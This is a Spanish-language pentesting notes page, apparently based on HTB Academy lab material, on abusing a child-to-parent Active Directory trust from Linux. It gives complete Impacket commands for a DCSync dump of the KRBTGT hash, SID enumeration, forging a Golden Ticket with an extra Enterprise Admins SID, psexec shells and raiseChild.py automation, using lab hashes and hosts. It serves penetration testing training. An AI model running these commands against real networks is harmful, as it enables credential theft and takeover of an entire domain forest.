> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/attacking-domain-trusts-child-greater-than-parent-trusts-from-linux.md).

# Attacking Domain Trusts - Child -> Parent Trusts - from Linux

También podemos llevar a cabo el ataque mostrado en la sección anterior desde una máquina atacante Linux. Para hacerlo, seguiremos necesitando recopilar los mismos fragmentos de información:

* El hash de la cuenta KRBTGT del dominio hijo.
* El SID del dominio hijo.
* El nombre de un usuario objetivo en el dominio hijo (¡no es necesario que exista!).
* El FQDN (Nombre de Dominio Completamente Calificado) del dominio hijo.
* El SID del grupo *Enterprise Admins* del dominio raíz.

Una vez que tengamos control total del dominio hijo, LOGISTICS.INLANEFREIGHT.LOCAL, podemos usar secretsdump.py para realizar un ataque DCSync y obtener el hash NTLM de la cuenta KRBTGT.

```bash
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
```

Podemos usar lookupsid.py del conjunto de herramientas Impacket para realizar fuerza bruta de SIDs y encontrar el SID del dominio hijo. En este comando, cualquier dirección IP que especifiquemos (la IP del controlador de dominio en el dominio hijo) se convertirá en el dominio objetivo para la búsqueda de SIDs. La herramienta nos devolverá el SID del dominio y los RIDs de cada usuario y grupo, los cuales podrían usarse para construir su SID en el formato DOMAIN\_SID-RID. Por ejemplo, a partir de la salida a continuación, podemos ver que el SID del usuario lab\_adm sería S-1-5-21-2806153819-209893948-922872689-1001.

{% embed url="<https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py>" %}

#### Realizando un ataque de fuerza bruta de SID usando lookupsid.py

```bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240
```

Podemos filtrar el ruido redirigiendo la salida del comando a grep y buscando solo el SID del dominio.

```bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
```

A continuación, podemos volver a ejecutar el comando, apuntando al controlador de dominio INLANEFREIGHT (DC01) en 172.16.5.5 y obtener el SID del dominio S-1-5-21-3842939050-3880317879-2865463114 y adjuntar el RID del grupo Administradores empresariales. Aquí hay una lista útil de SID conocidos.

{% embed url="<https://adsecurity.org/?p=1001>" %}

#### Obtención del SID del dominio y conexión al RID del administrador empresarial

```bash
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
```

Recopilando la información completa para realizar el ataque y utilizar una vez mas el usuario "hacker" falso

* El hash de KRBTGT para el dominio hijo: 9d765b482771505cbe97411065964d5f
* El SID para el dominio hijo: S-1-5-21-2806153819-209893948-922872689
* El nombre de un usuario objetivo en el dominio hijo (¡no necesita existir!): hacker
* El FQDN del dominio hijo: LOGISTICS.INLANEFREIGHT.LOCAL
* El SID del grupo Enterprise Admins del dominio raíz: S-1-5-21-3842939050-3880317879-2865463114-519

A continuación, podemos utilizar `ticketer.py` de la suite de herramientas de Impacket para construir un *Golden Ticket*. Este ticket será válido para acceder a los recursos tanto del dominio hijo (especificado mediante `-domain-sid`) como del dominio padre (especificado mediante `-extra-sid`).

#### Generando el Golden Ticket con ticketer.py

```bash
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
```

#### Exportando la variable KRB5CCNAME

```bash
export KRB5CCNAME=hacker.ccache
```

Si se pudo atenticar de manera exitosa podemos ejecutar PSEXEC

#### Obteniendo una shell con psexec.py

```bash
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
```

Impacket también cuenta con la herramienta `raiseChild.py`, la cual automatiza la escalada de privilegios desde el dominio hijo hacia el dominio padre. Solo necesitamos especificar el controlador de dominio objetivo y las credenciales de un usuario administrador en el dominio hijo; el script se encargará del resto.

Si analizamos la salida de la herramienta, veremos que comienza listando los nombres de dominio completamente calificados (FQDN) tanto del dominio hijo como del padre. A continuación, realiza lo siguiente:

* Obtiene el SID del grupo Enterprise Admins del dominio padre.
* Recupera el hash de la cuenta KRBTGT en el dominio hijo.
* Crea un *Golden Ticket*.
* Inicia sesión en el dominio padre.
* Recupera las credenciales de la cuenta de Administrador en el dominio padre.

Finalmente, si se especifica el parámetro `-target-exec`, se autentica en el Controlador de Dominio del dominio padre a través de Psexec.

#### Ejecutando RaiseChild.py

```bash
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
```

El script detalla el flujo de trabajo y el proceso en un comentario de la siguiente manera:

```bash
#   The workflow is as follows:
#       Input:
#           1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'
#              The domain specified MUST be the domain FQDN.
#           2) Optionally a pathname to save the generated golden ticket (-w switch)
#           3) Optionally a target-user RID to get credentials (-targetRID switch)
#              Administrator by default.
#           4) Optionally a target to PSEXEC with the target-user privileges to (-target-exec switch).
#              Enterprise Admin by default.
#
#       Process:
#           1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
#           2) Find out what the forest FQDN is (via [MS-NRPC])
#           3) Get the forest's Enterprise Admin SID (via [MS-LSAT])
#           4) Get the child domain's krbtgt credentials (via [MS-DRSR])
#           5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
#              and setting expiration 10 years from now
#           6) Use the generated ticket to log into the forest and get the target user info (krbtgt/admin by default)
#           7) If file was specified, save the golden ticket in ccache format
#           8) If target was specified, a PSEXEC shell is launched
#
#       Output:
#           1) Target user credentials (Forest's krbtgt/admin credentials by default)
#           2) A golden ticket saved in ccache for future fun and profit
#           3) PSExec Shell with the target-user privileges (Enterprise Admin privileges by default) at target-exec
#              parameter.
```

Aunque herramientas como `raiseChild.py` pueden resultar prácticas y ahorrarnos tiempo, es fundamental comprender el proceso y ser capaz de ejecutar la versión manual recopilando todos los datos necesarios. De este modo, si la herramienta falla, tendremos más posibilidades de entender el motivo y solucionar cualquier inconveniente, algo que sería imposible si la ejecutamos a ciegas.&#x20;

En el entorno de producción de un cliente, siempre debemos ser extremadamente cuidadosos al ejecutar cualquier tipo de script de "autopwn" como este; debemos mantener la precaución y construir los comandos de forma manual siempre que sea posible.&#x20;

Existen otras herramientas capaces de ingerir datos de plataformas como BloodHound, identificar rutas de ataque y ejecutar una función de "autopwn" que intentará realizar cada acción dentro de una cadena de ataque para elevarnos a Administrador de Dominio (como en el caso de una ruta de ataque larga basada en ACLs).&#x20;

Mi recomendación es evitar este tipo de herramientas y trabajar con aquellas que comprendas a la perfección, ya que te brindarán el mayor grado de control durante todo el proceso.

***No queremos decirle al cliente que algo falló porque usamos un script de "autopwn"***


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/attacking-domain-trusts-child-greater-than-parent-trusts-from-linux.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
